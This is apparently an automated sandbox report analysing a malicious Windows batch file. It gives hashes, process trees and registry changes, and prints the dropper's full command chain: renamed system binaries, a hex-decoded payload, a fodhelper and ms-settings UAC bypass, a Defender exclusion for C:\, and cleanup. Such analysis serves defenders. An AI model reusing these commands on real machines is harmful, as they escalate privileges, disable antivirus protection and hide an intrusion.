Analysis
-
max time kernel
142s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
15-05-2024 12:29
Static task
static1
Behavioral task
behavioral1
Sample
doc023561361500.cmd
Resource
win7-20240508-en
General
-
Target
doc023561361500.cmd
-
Size
4.9MB
-
MD5
d05bed0572c3ce597f3b4be7a2606c08
-
SHA1
f621468b397308f1055afaf2f27814a390eb16ea
-
SHA256
e84dd67c7831168c1d7a0f11a78d1e0497eb1cfa8689b25b291ee4b1b96826a4
-
SHA512
4fbe7a932d91882491648b489ec1e2c349ec71423c071e3f751c130e51ae62881473a9feaf3d842c60ed2fb6922b59f0b611491145e84b07e7145efb0ca7ec79
-
SSDEEP
24576:sYkuWvLHtSs/yfVZIC5z65HTGq42xfcJele9P2dxBJGhRC8Ih:sYkuWTcDXB65HPxfhleljIh
Malware Config
Signatures
-
Executes dropped EXE 24 IoCs
pid Process 1672 alpha.exe 1776 alpha.exe 1156 alpha.exe 2912 alpha.exe 2744 kn.exe 2800 alpha.exe 2788 alpha.exe 2696 alpha.exe 2892 alpha.exe 2572 xkn.exe 2564 alpha.exe 2612 ger.exe 1704 alpha.exe 1336 kn.exe 3024 alpha.exe 2412 Ping_c.pif 1680 alpha.exe 1052 alpha.exe 1132 alpha.exe 1316 alpha.exe 1036 alpha.exe 3036 alpha.exe 2592 alpha.exe 2624 alpha.exe -
Loads dropped DLL 16 IoCs
pid Process 2972 cmd.exe 2972 cmd.exe 2972 cmd.exe 2972 cmd.exe 2912 alpha.exe 2972 cmd.exe 2972 cmd.exe 2972 cmd.exe 2972 cmd.exe 2892 alpha.exe 2572 xkn.exe 2572 xkn.exe 2572 xkn.exe 2564 alpha.exe 2972 cmd.exe 1704 alpha.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Kills process with taskkill 1 IoCs
pid Process 3048 taskkill.exe -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings\shell\open\command ger.exe Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings ger.exe Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings\shell ger.exe Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings\shell\open ger.exe Set value (str) \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" ger.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2412 Ping_c.pif -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2572 xkn.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2572 xkn.exe Token: SeDebugPrivilege 3048 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2972 wrote to memory of 1592 2972 cmd.exe 29 PID 2972 wrote to memory of 1592 2972 cmd.exe 29 PID 2972 wrote to memory of 1592 2972 cmd.exe 29 PID 2972 wrote to memory of 1672 2972 cmd.exe 30 PID 2972 wrote to memory of 1672 2972 cmd.exe 30 PID 2972 wrote to memory of 1672 2972 cmd.exe 30 PID 2972 wrote to memory of 1776 2972 cmd.exe 31 PID 2972 wrote to memory of 1776 2972 cmd.exe 31 PID 2972 wrote to memory of 1776 2972 cmd.exe 31 PID 2972 wrote to memory of 1156 2972 cmd.exe 32 PID 2972 wrote to memory of 1156 2972 cmd.exe 32 PID 2972 wrote to memory of 1156 2972 cmd.exe 32 PID 1156 wrote to memory of 2352 1156 alpha.exe 33 PID 1156 wrote to memory of 2352 1156 alpha.exe 33 PID 1156 wrote to memory of 2352 1156 alpha.exe 33 PID 2972 wrote to memory of 2912 2972 cmd.exe 34 PID 2972 wrote to memory of 2912 2972 cmd.exe 34 PID 2972 wrote to memory of 2912 2972 cmd.exe 34 PID 2912 wrote to memory of 2744 2912 alpha.exe 35 PID 2912 wrote to memory of 2744 2912 alpha.exe 35 PID 2912 wrote to memory of 2744 2912 alpha.exe 35 PID 2972 wrote to memory of 2800 2972 cmd.exe 36 PID 2972 wrote to memory of 2800 2972 cmd.exe 36 PID 2972 wrote to memory of 2800 2972 cmd.exe 36 PID 2800 wrote to memory of 2692 2800 alpha.exe 37 PID 2800 wrote to memory of 2692 2800 alpha.exe 37 PID 2800 wrote to memory of 2692 2800 alpha.exe 37 PID 2972 wrote to memory of 2788 2972 cmd.exe 38 PID 2972 wrote to memory of 2788 2972 cmd.exe 38 PID 2972 wrote to memory of 2788 2972 cmd.exe 38 PID 2788 wrote to memory of 2724 2788 alpha.exe 39 PID 2788 wrote to memory of 2724 2788 alpha.exe 39 PID 2788 wrote to memory of 2724 2788 alpha.exe 39 PID 2972 wrote to memory of 2696 2972 cmd.exe 40 PID 2972 wrote to memory of 2696 2972 cmd.exe 40 PID 2972 wrote to memory of 2696 2972 cmd.exe 40 PID 2696 wrote to memory of 2560 2696 alpha.exe 41 PID 2696 wrote to memory of 2560 2696 alpha.exe 41 PID 2696 wrote to memory of 2560 2696 alpha.exe 41 PID 2972 wrote to memory of 2892 2972 cmd.exe 42 PID 2972 wrote to memory of 2892 2972 cmd.exe 42 PID 2972 wrote to memory of 2892 2972 cmd.exe 42 PID 2892 wrote to memory of 2572 2892 alpha.exe 43 PID 2892 wrote to memory of 2572 2892 alpha.exe 43 PID 2892 wrote to memory of 2572 2892 alpha.exe 43 PID 2572 wrote to memory of 2564 2572 xkn.exe 44 PID 2572 wrote to memory of 2564 2572 xkn.exe 44 PID 2572 wrote to memory of 2564 2572 xkn.exe 44 PID 2564 wrote to memory of 2612 2564 alpha.exe 45 PID 2564 wrote to memory of 2612 2564 alpha.exe 45 PID 2564 wrote to memory of 2612 2564 alpha.exe 45 PID 2972 wrote to memory of 1704 2972 cmd.exe 46 PID 2972 wrote to memory of 1704 2972 cmd.exe 46 PID 2972 wrote to memory of 1704 2972 cmd.exe 46 PID 1704 wrote to memory of 1336 1704 alpha.exe 47 PID 1704 wrote to memory of 1336 1704 alpha.exe 47 PID 1704 wrote to memory of 1336 1704 alpha.exe 47 PID 2972 wrote to memory of 3024 2972 cmd.exe 48 PID 2972 wrote to memory of 3024 2972 cmd.exe 48 PID 2972 wrote to memory of 3024 2972 cmd.exe 48 PID 3024 wrote to memory of 3048 3024 alpha.exe 49 PID 3024 wrote to memory of 3048 3024 alpha.exe 49 PID 3024 wrote to memory of 3048 3024 alpha.exe 49 PID 2972 wrote to memory of 2412 2972 cmd.exe 51
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2972 -
C:\Windows\System32\extrac32.exeC:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"2⤵PID:1592
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "2⤵
- Executes dropped EXE
PID:1672
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"2⤵
- Executes dropped EXE
PID:1776
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1156 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe3⤵PID:2352
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd" "C:\\Users\\Public\\Ping_c.mp4" 92⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd" "C:\\Users\\Public\\Ping_c.mp4" 93⤵
- Executes dropped EXE
PID:2744
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"3⤵PID:2692
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"3⤵PID:2724
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2696 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"3⤵PID:2560
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Users\Public\xkn.exeC:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Users\Public\alpha.exe"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2564 -
C:\Users\Public\ger.exeC:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""5⤵
- Executes dropped EXE
- Modifies registry class
PID:2612
-
-
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 122⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 123⤵
- Executes dropped EXE
PID:1336
-
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettings.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3048
-
-
-
C:\Users\Public\Libraries\Ping_c.pifC:\Users\Public\Libraries\Ping_c.pif2⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2412
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"2⤵
- Executes dropped EXE
PID:1680
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"2⤵
- Executes dropped EXE
PID:1052
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \"2⤵
- Executes dropped EXE
PID:1132
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:1316
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:1036
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:3036
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S2⤵
- Executes dropped EXE
PID:2592
-
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:2624
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.7MB
MD5ba58a19a6475eff2c5bb9b6dfc7d9dd3
SHA1407eda96d6cc766e17a6a27cf37cc63dd82537f3
SHA25622d6ea142dc14e08475c61aac8555f3996ef80701474865f2ed7db42cd9e2e57
SHA5126e53a2642c36cddc8cad22ca898c358d3393bd0a880fb5d364cb4aa38ef200b9b0b06dd03a13d05ef91e9867cb172eb2e05a021f0b28282028f8a1eaacdaf9e0
-
Filesize
3.4MB
MD5c5d58251c6989580fcf2b5d75ea57467
SHA11b5c775600d8aa1e247574a9ff8620a3c2e74347
SHA25636df0e80ac34f848b1934565413598f7c2087a81e6e4bd69de10be2f86ed15ee
SHA5129efdb53e6902716f1e4ee794dd1e315080817c6eb8045f8a2c62478fb05d8aae7d53b3a8595842f319f49c8075f7522341feea66a47b0f438690905e405c76fc
-
Filesize
73KB
MD59d0b3066fe3d1fd345e86bc7bcced9e4
SHA1e05984a6671fcfecbc465e613d72d42bda35fd90
SHA2564e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e
SHA512d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119
-
Filesize
337KB
MD55746bd7e255dd6a8afa06f7c42c1ba41
SHA10f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA5123a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e
-
Filesize
1.1MB
MD5ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA2561e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA5124e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2
-
Filesize
462KB
MD5852d67a27e454bd389fa7f02a8cbe23f
SHA15330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d